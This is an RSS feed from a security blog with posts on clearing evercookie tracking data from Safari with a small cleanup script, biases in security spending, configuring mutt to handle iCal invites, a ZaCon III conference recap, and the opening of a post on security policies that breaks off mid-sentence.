Samy Kamar recently released his tool, &lt;a title=&quot;Evercookie&quot; href=&quot;http://samy.pl/evercookie&quot;&gt;evercookie&lt;/a&gt;. This uses multiple persistent data stores to set unique identifiers that can be used to identify your browser to a website. While my default Firefox browsing setup is safe against it, I noticed that the &amp;quot;disposable&amp;quot; Safari instance I used was not. I sometimes use a clean Safari instance to test or access things the tinfoil on my Firefox does not let me. After each use I reset everything in it. However, I noticed that evercookie would persist. Here&#039;s how to delete it and others using the same mechanisms for Safari on OSX 10.6 (working out the same for other browsers/OS&#039; isn&#039;t too difficult):
&lt;/p&gt; When the evercookie is created, is shows as existing in the following locations (note: just visiting the site sets up some of the evercookie containers):&lt;br /&gt; 
&lt;blockquote&gt;userData mechanism: undefined&lt;br /&gt;cookieData mechanism: 362&lt;br /&gt;localData mechanism: 362&lt;br /&gt;globalData mechanism: undefined&lt;br /&gt;sessionData mechanism: 362&lt;br /&gt;historyData mechanism: undefined&lt;br /&gt;pngData mechanism: 362&lt;br /&gt;etagData mechanism: 362&lt;br /&gt;dbData mechanism: 362&lt;br /&gt;lsoData mechanism: 362&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;If I reset Safari, but don&#039;t restart it, the cookie persists in these four locations. The force-cached PNG uses an RGB value as the identifier and is only cleared after a reset and restart:&lt;br /&gt; 
&lt;blockquote&gt;pngData mechanism: 362&lt;br /&gt;etagData mechanism: &lt;br /&gt;userData mechanism: undefined&lt;br /&gt;cookieData mechanism: undefined&lt;br /&gt;localData mechanism: 362&lt;br /&gt;globalData mechanism: undefined&lt;br /&gt;sessionData mechanism: null&lt;br /&gt;historyData mechanism: undefined&lt;br /&gt;dbData mechanism: 362&lt;br /&gt;lsoData mechanism: 362&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;However, even a reset and restart leaves us with the two HTML5 localData and SQLite locations, and a flash cookie:&lt;br /&gt; 
&lt;blockquote&gt;pngData mechanism: undefined&lt;br /&gt;etagData mechanism: &lt;br /&gt;userData mechanism: undefined&lt;br /&gt;cookieData mechanism: undefined&lt;br /&gt;localData mechanism: 362&lt;br /&gt;globalData mechanism: undefined&lt;br /&gt;sessionData mechanism: null&lt;br /&gt;historyData mechanism: undefined&lt;br /&gt;dbData mechanism: 362&lt;br /&gt;lsoData mechanism: 362&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;To this end, I wrote a small script (which Bernd turned into a &lt;a href=&quot;http://welcome2inter.net/news/files/kill-evercookie.zip&quot;&gt;GUI app&lt;/a&gt; for OSX) which will remove these and other cookies:&lt;br /&gt;&lt;br /&gt; 
&lt;blockquote&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;cat evercookie-kill.sh &lt;/font&gt;&lt;br /&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;#!/bin/bash&lt;/font&gt;&lt;br /&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;echo &amp;quot;Deleting evercookie locations Safari missed (see samy.pl/evercookie)&amp;quot;&lt;/font&gt;&lt;br /&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;rm -r ~/Library/Safari/Databases/*&lt;/font&gt;&lt;br /&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;rm -r ~/Library/Safari/LocalStorage/*&lt;/font&gt;&lt;br /&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;rm -r ~/Library/Preferences/Macromedia/Flash\ Player/\#SharedObjects/*&lt;/font&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Running the script while Safari is running will have no effect. For it to work fully, you will need to reset Safari, exit, then run the script. This will clear out all the locations currently implemented in evercookie. While checking these locations, I was surprised to find data from all sorts of other sites, hence the removal of &amp;quot;*&amp;quot;, but you can replace it with &amp;quot;samy.pl&amp;quot; if you want to target Samy&#039;s evercookie specifically (note, that&#039;s not the same as someone else&#039;s site implementing the evercookie). While the flash cookies had a large number of sites, there were a couple (cnn, foxnews, twitter and a few others I can&#039;t remember) using the HTML5 locations.&lt;br /&gt;&lt;br /&gt; 
    </content:encoded>

    <pubDate>Wed, 13 Oct 2010 06:56:00 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1014-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Squinting at Security Drivers &amp; Perspective-based Biases</title>
    <link>http://www.singe.za.net/blog/archives/1039-Squinting-at-Security-Drivers-Perspective-based-Biases.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1039-Squinting-at-Security-Drivers-Perspective-based-Biases.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1039</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1039</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;em&gt;Originally published on &lt;a href=&quot;http://www.sensepost.com/blog/6287.html&quot;&gt;SensePost&#039;s blog&lt;/a&gt;.&lt;/em&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;While doing some thinking on threat modelling I started examining 
what the usual drivers of security spend and controls are in an 
organisation. I&#039;ve spent some time on multiple fronts, security 
management (been audited, had CIOs push for priorities), security 
auditing (followed workpapers and audit plans), pentesting (broke in 
however we could) and security consulting (tried to help people fix 
stuff) and even dabbled with trying to sell some security hardware. This
 has given me some insight (or at least an opinion) into how people have
 tried to justify security budgets, changes, and findings or how I tried
 to. This is a write up of what I believe these to be (caveat: this is 
my opinion). This is certainly not universalisable, i.e. it&#039;s possible 
to find unbiased highly experienced people, but they will still have to 
fight the tendencies their position puts on them. What I&#039;d want you to 
take away from this is that we need to move away from using these 
drivers in isolation, and towards more holistic risk management 
techniques, of which I feel threat modelling is one (although this entry
 isn&#039;t about threat modelling).

&lt;/p&gt; &lt;div class=&quot;entry_content&quot;&gt;&lt;strong&gt;Auditors
&lt;/strong&gt; 
&lt;p&gt;The tick box monkeys themselves, they provide a useful function, and 
are so universally legislated and embedded in best practise, that 
everyone has a few decades of experience being on the giving or 
receiving end of a financial audit. The priorities audit reports seem to
 drive are:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;strong&gt;Vulnerabilities in financial systems&lt;/strong&gt;. The whole 
audit hierarchy was created around financial controls, and so sticks 
close to financial systems when venturing into IT&#039;s space. Detailed and 
complex collusion possibilities will be discussed when approving 
payments, but the fact that you can reset anyone&#039;s password at the 
helpdesk is sometimes missed, and more advanced attacks like token 
hijacking are often ignored.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Audit house priorities&lt;/strong&gt;. Audit houses get driven 
just like anyone else. While I wasn&#039;t around for Enron, the 
reverberations could still be felt years later when I worked at one. 
What&#039;s more, audit houses are increasingly finding revenue coming from 
consulting gigs and need to keep their smart people happy. This leads to
 external audit selling &amp;quot;add-ons&amp;quot; like identity management audits 
(sometimes, they&#039;re even incentivised to).&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Auditor skills&lt;/strong&gt;. The auditor you get could be an 
amazing business process auditor but useless when it comes to infosec, 
but next year it could be the other way around. It&#039;s equally possibly 
with internal audit. Thus, the strengths of the auditor will determine 
where you get nailed the hardest.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;The Rotation plan&lt;/strong&gt;. This year system X, next year 
system Y. It doesn&#039;t mean system X has gotten better, just that they 
moved on. If you spend your year responding to the audit on system Y and
 ignore X, you&#039;ll miss vital stuff.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Known systems&lt;/strong&gt;. External and internal auditors 
don&#039;t know IT&#039;s business in detail. There could be all sorts of critical
 systems (or pivot points) that are ignored because they weren&#039;t in the 
&amp;quot;flow of financial information&amp;quot; spread sheet.&lt;/li&gt; 
&lt;/ul&gt; &lt;strong&gt;Vendors
&lt;/strong&gt;
Security vendors are the love to hate people in the infosec world. 
Thinking of them invokes pictures of greasy salesmen phoning your CIO to
 ask if your security chumps have even thought about network admission 
control (true story). On the other hand if you&#039;ve ever been a small team
 trying to secure a large org, you&#039;ll know you can&#039;t do it without 
automation and at some point you&#039;ll need to purchase some products. 
Their marketing and sales people get all over the place and end up 
driving controls; whether it&#039;s “management by in-flight magazine”, an 
idea punted at a sponsored conference, or the result of a sales meeting. 

&lt;p&gt;But security vendors prioritisation of controls are driven by:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;strong&gt;New Problems&lt;/strong&gt;. Security products that work 
eventually get deployed everywhere they&#039;re going to be deployed. They 
continue to bring in income, but the vendor needs a new bright shiny 
thing they can take to their existing market and sell. Thus, new 
problems become new scary things that they can use to push product. 
Think of the Gartner hype curve. Whatever they&#039;re selling, be it DLP, 
NAC, DAM, APT prevention or IPS if your firewall works more like a 
switch and your passwords are all &amp;quot;P@55w0rd&amp;quot; then you&#039;ve got other 
problems to focus on first.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Overinflated problems&lt;/strong&gt;. Some problems really aren&#039;t
 as big as they&#039;re made out to be by vendors, but making them look big 
is a key part of the sell. Even vendors who don&#039;t mean to overinflate 
end up doing it just because they spend all day thinking of ways to 
justify (even legitimate) purchases.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Products as solutions&lt;/strong&gt;. Installing a product 
designed to help with a problem isn&#039;t the same as fixing the problem, 
and vendors aren&#039;t great at seeing that (some are). Take patch 
management solutions, there are some really awesome, mature products out
 there, but if you can&#039;t work out where your machines are, how many 
there are or get creds to them, then you&#039;ve got a long way to go before 
that product starts solving the problem it&#039;s supposed to.&lt;/li&gt; 
&lt;/ul&gt; &lt;strong&gt;Pentesters&lt;/strong&gt; 
&lt;p&gt;Every year around Black Hat Vegas/Pwn2Own/AddYourConfHere time a 
flurry of media reports hit the public and some people go into panic 
mode. I remember &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Dan_Kaminsky%22%20%5Cl%20%22Flaw_in_DNS&quot;&gt;The DNS bug&lt;/a&gt;,
 where all that was needed was for people to apply a patch, but which, 
due to the publicity around it, garnered a significant amount of 
interest from people who it usually wouldn&#039;t, and probably shouldn&#039;t 
have cared so much. But many pentesters trade on this publicity; and 
some pentesting companies use this instead of a marketing budget. That&#039;s
 not their only, or primary, motivation, and in the end things get 
fixed, new techniques shared and the world a better place. The cynical 
view then is that some of the motivations for vulnerability researchers,
 and what they end up prioritising are:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;strong&gt;New Attacks&lt;/strong&gt;. This is somewhat similar to the vendors optimising for &amp;quot;new problems&amp;quot; but not quite the same. When Errata introduced &lt;a href=&quot;http://erratasec.blogspot.com/2007/08/sidejacking-with-hamster_05.html&quot;&gt;Hamster at ToorCon ‘07&lt;/a&gt;,
 I heard tales of people swearing at them from the back. I wasn&#039;t there,
 but I imagine some of the calls were because Layer 2 attacks have been 
around and well known for over a decade now. Many of us ignored 
FireSheep for the same reason, even if it motivated the biggest moves to
 SSL yet. But vuln researchers and the scene aren&#039;t interested, it needs
 to be shiny, new and leet . This focus on the new, and the press it 
drives, has defenders running around trying to fix new problems, when 
they haven&#039;t fixed the old ones.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Complex Attacks&lt;/strong&gt;. Related to the above, a new 
attack can&#039;t be really basic to do well, it needs to involve 
considerable skill. When Mark Dowd released his &lt;a href=&quot;http://chargen.matasano.com/chargen/2007/7/3/this-new-vulnerability-dowds-inhuman-flash-exploit.html&quot;&gt;highly complex flash attack&lt;/a&gt;,
 he was rightly given much kudos. An XSS attack on the other hand, was 
initially ignored by many. However, one lead to a wide class of 
prevalent vulns, while the other requires you to be, well, Mark Dowd. 
This mean some of the issues that should be obvious, that underpin core 
infrastructure, but that aren&#039;t sexy, don&#039;t get looked at.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Shiny Attacks&lt;/strong&gt;. Some attacks are just really well 
presented and sexy. Barnaby Jack had an ATM spitting out cash and 
flashing &amp;quot;Jackpot&amp;quot;, that&#039;s cool, and it gets a room packed full of 
people to hear his talk. Hopefully it lead to an improvement in security
 of some of the ATMs he targeted, but the vulns he exploited were the 
kinds of things big banks had mostly resolved already, and how many 
people in the audience actually worked in ATM security? I&#039;d be 
interested to see if the con budget from banks increased the year of his
 talk, even if they didn&#039;t, I suspect many a banker went to his talk 
instead of one that was maybe talking about a more prevalent or relevant
 class of vulnerabilities their organisation may experience. Something 
Thinkst says much better &lt;a href=&quot;http://blog.thinkst.com/2011/01/is-answer-more-infosec-conferences.html&quot;&gt;here&lt;/a&gt;.&lt;/li&gt; 
&lt;/ul&gt; &lt;strong&gt;Individual Experience&lt;/strong&gt; 
&lt;p&gt;Unfortunately, as human beings, our decisions are coloured by a bunch
 of things, which cause us to make decisions either influenced or 
defined by factors other than the reality we are faced with. A couple of
 those lead us to prioritising different security motives if decision 
making rests solely with one person:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;strong&gt;Past Experience&lt;/strong&gt;. Human beings develop through 
learning and consequences. When you were a child and put your hand on a 
stove hot plate, you got burned and didn&#039;t do it again. It&#039;s much the 
same every time you get burned by a security incident, or worse, 
internal political incident. There&#039;s nothing wrong with this, and it&#039;s 
why we value experience; people who&#039;ve been burned enough times not to 
let mistakes happen again. However, it does mean time may be spent 
preventing a past wrong, rather than focusing on the most likely current
 wrong. For example, one company I worked with insisted on an overly 
burdensome set of controls to be placed between servers belonging to 
their security team and the rest of the company network. The reason for 
this was due to a previous incident years earlier, where one of these 
servers had been the source of a Slammer outbreak. While that network 
was never again a source of a virus outbreak, their network still got 
hit by future outbreaks from normal users, via the VPN, from business 
partners etc. In this instance, past experience was favoured over a 
comprehensive approach to the actual problem, not just the symptom.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;New Systems&lt;/strong&gt;. Usually, the time when the most 
budget is available to work on a system is during its initial 
deployment. This is equally true of security, and the mantra is for 
security to be built in at the beginning. Justifying a chunk of security
 work on the mainframe that&#039;s been working fine for the last 10 years on
 the other hand is much harder, and usually needs to hook into an 
existing project. The result is that it&#039;s easier to get security built 
into new projects than to force an organisation to make significant 
“security only” changes to existing systems. The result in those that 
present the vulnerabilities pentesters know and love get less frequently
 fixed.&lt;/li&gt; 
&lt;li&gt;&lt;strong&gt;Individual Motives&lt;/strong&gt;. We&#039;re complex beings with all 
sorts of drivers and motivations, maybe you want to get home early to 
spend some time with your kids, maybe you want to impress Bob from 
Payroll. All sorts of things can lead to a decision that isn&#039;t 
necessarily the right security one. More relevantly however, security 
tends to operate in a fairly segmented matter, while some aspects are 
“common wisdom”, others seem rarely discussed. For example, the way the 
CISO of Car Manufacturer A and the CISO of Car Manufacturer B set up 
their controls and choose their focus could be completely different, but
 beyond general industry chit-chat, there will be little detailed 
discussion of how they&#039;re securing integration to their dealership 
network. They rely on consultants, who&#039;ve seen both sides for that. Even
 then, one consultant may think that monitoring is the most important 
control at the moment, while another could think mobile security is it.&lt;/li&gt; 
&lt;/ul&gt; &lt;strong&gt;So What?&lt;/strong&gt; 
&lt;p&gt;The result of all of this is that different companies and people push
 vastly different agendas. To figure out a strategic approach to 
security in your organisation, you need some objective risk based 
measurement that will help you secure stuff in an order that mirrors the
 actual risk to your environment. While it&#039;s still a black art, I 
believe that Threat Modelling helps a lot here, a sufficiently 
comprehensive methodology that takes into account all of your 
infrastructure (or at least admits the existence of risk contributed by 
systems outside of a “most critical” list) and includes valid 
perspectives from above tries to provide an objective version of reality
 that isn&#039;t as vulnerable to the single biases described above.&lt;/p&gt; 
&lt;/div&gt; 
    </content:encoded>

    <pubDate>Tue, 01 Nov 2011 19:17:28 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1039-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>mutt &amp; iCal (some OSX specific)</title>
    <link>http://www.singe.za.net/blog/archives/1038-mutt-iCal-some-OSX-specific.html</link>
            <category>Geek</category>
    
    <comments>http://www.singe.za.net/blog/archives/1038-mutt-iCal-some-OSX-specific.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1038</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1038</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;I moved back to the world of civilized e-mail, i.e. mutt. It&#039;s been wonderful, and I particularly enjoy hacking my mailcap to display things just how I like them (no PDF sploits for me). However, OSX&#039;s handling of calendar files is very irritating in that iCal tries to send responses via Mail.app without giving you much of a chance to do anything. I&#039;d rather handle it in mutt and the cli. This is also generally useful for people using mutt who want to handle calendar files.&lt;br /&gt;&lt;/p&gt; &lt;p&gt;I found a script &lt;a href=&quot;https://github.com/marvinthepa/mutt-ical&quot;&gt;mutt-ical&lt;/a&gt;, which does most of what I wanted; parse the ics, ask me what I want to do, then mail the organiser with my response. I made some changes to make it support Outlook generated calendar files, not override your mutt &amp;quot;send&amp;quot; settings, and display the calendar details in plaintext before you decide to accept/decline/tentative it.&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;Download my version &lt;a href=&quot;https://github.com/singe/mutt-ical&quot;&gt;here&lt;/a&gt;. (&lt;del&gt;I&#039;d submit a patch, but the developer has no working contact details&lt;/del&gt; I worked out how git pull request work :) )&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;Copy it into somewhere in your PATH, (or you can specify the PATH in your .mailcap)&lt;/li&gt; 
&lt;li&gt;Edit your mailcap to have the following line:&lt;/li&gt; 
&lt;ul&gt; 
&lt;li&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;text/calendar; &amp;lt;path&amp;gt;mutt-ical.py -i -e 
&amp;quot;user@domain.tld&amp;quot; %s&lt;/font&gt;&lt;/li&gt; 
&lt;li&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;For added fun on OSX, you can extend it to the following, to get iCal to open it nicely too (iCal cares not for mime types it seems):&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;
&lt;li&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;&lt;/font&gt;text/calendar; open %s &amp;amp;&amp;amp; ~/bin/mutt-ical.py -i -e &amp;quot;dominic@sensepost.com&amp;quot; %s; nametemplate=%s.ics&lt;br /&gt;&lt;/font&gt;&lt;/li&gt; 
&lt;li style=&quot;direction: ltr;&quot;&gt;&lt;del&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;text/calendar; mv %s %s.ics &amp;amp;&amp;amp; open %s.ics &amp;amp;&amp;amp; &amp;lt;path&amp;gt;mutt-ical.py -i -e &amp;quot;user@domain.tld&amp;quot; %s.ics &amp;amp;&amp;amp; rm %s.ics &lt;/font&gt;&lt;/del&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;(I found nametemplate fixes this problem)&lt;/font&gt;&lt;br /&gt;&lt;/font&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;li style=&quot;direction: ltr;&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;You can force iCal to stop trying to send mail on your behalf by replacing the file&lt;font face=&quot;courier new,courier,monospace&quot;&gt; /Applications/iCal.app/Contents/Resources/Scripts/Mail.scpt &lt;/font&gt;with your own ActionScript. I went with the following: &lt;font face=&quot;courier new,courier,monospace&quot;&gt;error number -128&lt;/font&gt; Which tells it that the user cancelled the action.&lt;/font&gt;&lt;/font&gt;&lt;/li&gt; 
&lt;ul&gt; 
&lt;li style=&quot;direction: ltr;&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;Open AppleScript Editor, paste the code from above into a new script, then save it.&lt;/font&gt;&lt;/font&gt;&lt;/li&gt; 
&lt;li style=&quot;direction: ltr;&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;Move the old script &lt;/font&gt;&lt;/font&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/Applications/iCal.app/Contents/Resources/Scripts/Mail.scpt &lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;just in case you want to re-enable the functionality.&lt;/font&gt;&lt;/font&gt;&lt;/li&gt; 
&lt;li style=&quot;direction: ltr;&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;font face=&quot;arial,helvetica,sans-serif&quot;&gt;Copy your new script into place.&lt;/font&gt;&lt;br /&gt;&lt;/font&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;/ul&gt; 
    </content:encoded>

    <pubDate>Mon, 24 Oct 2011 18:56:47 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1038-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>ZaCon III - TBOY</title>
    <link>http://www.singe.za.net/blog/archives/1036-ZaCon-III-TBOY.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1036-ZaCon-III-TBOY.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1036</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1036</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;h2&gt;TBOY - The Best One Yet&lt;/h2&gt; 
&lt;p&gt;ZaCon III has come and gone this last weekend. It was a blast, solid content including some exciting first timers and more than doubling the original research output, an extension to include a Fri night, and the first time we ran with volunteers. The fact that the con seems to be getting better each year is important for me.&lt;br /&gt;&lt;/p&gt; 
&lt;h2&gt;&amp;quot;It looks a bit eclectic&amp;quot; &lt;br /&gt;&lt;/h2&gt; 
&lt;p&gt;Friday night kicked off around 7 at an uber-chilled venue, described by Roelof as &amp;quot;what I always imagined ZaCon should be&amp;quot; which was pretty great. Despite a projector failure, and nowhere to put the backup one, Roelof and Marco both presented some really entertaining talks. It was a nice mix of entertaining (and freaky) OSint followed by some hardcore vuln research. The time on either side to meet and talk to people was fun as a change to the usual brain-bending long day that is ZaCon.&lt;/p&gt; &lt;h2&gt;Coffee was Flowing, Hangovers were Showing &lt;br /&gt;&lt;/h2&gt; 
&lt;p&gt;Saturday kicked off with some more projector and microphone troubles followed by a power failure to one side of the room, 
but by the first tea break we had a duct taped alternative projector 
stand up and running, the lapel mic microphone replaced and power piped in from the surrounds. The talks 
started with more than 100 people filling the uncomfortable benches, and the three upstream tubes providers taking some strain thanks to the RF-busting styles of our internet volunteers, Peter Stayt &amp;amp; Prince Sihlahla. Our local site &lt;a href=&quot;http://local.zacon.org.za&quot;&gt;(local.zacon.org.za,&lt;/a&gt; up for a few days more if you want to get your ratings in) ran smoothly for a change thanks to Ralfe Poisson.&lt;/p&gt; 
&lt;p&gt;My favourite talks of the day go to Jeremy du Bruyn on practical password cracking and Reino Mostert on NNTP cache enumeration and poisoning. Partly because they were first time speakers, delivering original research output, and partly because they were awesome speakers with awesome talks even without the caveats. The &amp;quot;can I go to jail if&amp;quot; talk from Matt Erasmus and Helaine Leggat with Matt collecting and asking the questions, and Helaine answering was also great, and we&#039;re thinking of making it a regular feature if they agree. The only thing I missed there, was a light of hope. I got the feeling that in ZA vuln research has *no legal protection* and your only defense is not to do it. There were several other talks I greatly enjoyed too.&lt;/p&gt; 
&lt;p&gt;We&#039;ll be collecting slides, &lt;a href=&quot;http://www.discussit.co.za/&quot;&gt;DiscussIT&lt;/a&gt; will be publishing audio, and some time later we&#039;ll try get the videos out. &lt;br /&gt;&lt;/p&gt; 
&lt;h2&gt;ZaCon IV&lt;/h2&gt; 
&lt;p&gt;We&#039;ve got pages of things to improve on for next year, and hopefully we&#039;ll be able to retain the TBOY label. In the meantime, it&#039;s never too early to start pondering a submission for next year, start talking it over at the next 0xC0FFEE session, subscribe to the &lt;a href=&quot;mailto:community@zacon.org.za&quot;&gt;community@zacon.org.za&lt;/a&gt; mailing list or join the #zacon chan on irc.atrum.org.&lt;/p&gt; 
&lt;h2&gt; Thanks&lt;/h2&gt; 
&lt;p&gt;So many people did so many things, here&#039;s a brief list of people who need thanking in no particular order&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;The speakers - without you guys there&#039;s no con&lt;/li&gt; 
&lt;li&gt;People@ - you know who you are&lt;/li&gt; 
&lt;li&gt;The volunteers&lt;/li&gt; 
&lt;ul&gt; 
&lt;li&gt;Local site - Ralfe&lt;/li&gt; 
&lt;li&gt;Internets - Peter, Prince&lt;/li&gt; 
&lt;li&gt;Registration - Tim, Ross&lt;/li&gt; 
&lt;li&gt;Badges - Andrew&lt;/li&gt; 
&lt;li&gt;Venue - Sagi &amp;lt;-- Big shouts to this guy, who did some some hard work&lt;/li&gt; 
&lt;li&gt;Audio &amp;amp; Video - Tony and Jameel&lt;/li&gt; 
&lt;/ul&gt; 
&lt;li&gt;Attendees - presenting to an empty room wouldn&#039;t be as much fun&lt;/li&gt; 
&lt;li&gt;University of Johannesburg - for hosting us&lt;/li&gt; 
&lt;li&gt;Cafe Pronto - for the coffee&lt;br /&gt;&lt;/li&gt; 
&lt;/ul&gt; 
    </content:encoded>

    <pubDate>Mon, 10 Oct 2011 09:20:15 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1036-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Security Policies - Go Away</title>
    <link>http://www.singe.za.net/blog/archives/1035-Security-Policies-Go-Away.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1035-Security-Policies-Go-Away.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1035</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1035</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;em&gt;This is re-published, from &lt;a href=&quot;http://www.sensepost.com/blog/5953.html&quot;&gt;the original&lt;/a&gt; on the SensePost blog.&lt;/em&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;Security policies are necessary, but their focus is to the detriment of 
more important security tasks. If auditors had looked for trivial SQL 
injection on a companies front-page as hard as they have checked for 
security polices, then maybe our industry would be in a better place. I 
want to make this go away, I want to help you tick the box so you can 
focus on the real work. If you just want the &amp;quot;tool&amp;quot; skip to the end.

&lt;/p&gt; &lt;p&gt;A year and a half ago, SensePost started offering &amp;quot;build it&amp;quot; rather 
than &amp;quot;break it&amp;quot; consulting services, we wanted to focus on technical, 
high-quality advisory work. However, by far the most frequently 
&amp;quot;consulting&amp;quot; request we&#039;ve seen has been asking for security policies. 
Either a company approaches us looking for them explicitly or they want 
them bolted on to other work. The gut feel I&#039;ve picked up over the years
 is that if someone is asking you to develop security policies for them,
 then either they&#039;re starting on security at the behest of some external
 or compliance requirement or they&#039;re hoping that this is the first step
 in an information security program. (Obviously, I can&#039;t put everything 
into the same bucket, but I&#039;m talking generally) Both are rational 
reasons to want to get your information security policies sorted, but 
getting outside consultants to spend even a week&#039;s worth of time 
developing them for you, is time that could be better spent in my 
opinion. My reasons for this are two-fold:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;If you&#039;re starting a security program, then you have a lot to learn
 and possibly a lot of convincing of senior management to do. Something 
like an internal penetration test (not that I&#039;m advocating this 
specifically instead of policy) will give you far more insight into the 
security of your environment and a lot more &amp;quot;red ink&amp;quot; that can be used 
to highlight the risk to the &amp;quot;higher ups&amp;quot;.&lt;/li&gt; 
&lt;li&gt;Security policies don&#039;t &amp;quot;do&amp;quot; anything. They are a representation of
 management&#039;s intention and agreements around security controls, which 
in the best case, provide a &amp;quot;cover my ass&amp;quot; defense if an employee takes 
you to task for intercepting their e-mails or something similar. The 
policies need to be used to derive actual controls, and are not controls
 in themselves.&lt;/li&gt; 
&lt;/ul&gt;
Instead, we too often end up in a world where &lt;strong&gt;security policies&lt;/strong&gt;,
 rather than good security, is the end goal while new technologies keep 
us amused developing new ones (mobile policies, social media policies, 
data leakage policies etc.) 



&lt;p&gt;Saying all of this is fine, but it doesn&#039;t make the auditors stop 
asking, and it doesn&#039;t put a green box or tick in the 
ISO/PCI/CoBIT/HIPAA/SOX policies checkbox. Previously, I&#039;ve pointed 
people at existing policy repositories, where sample policies can be 
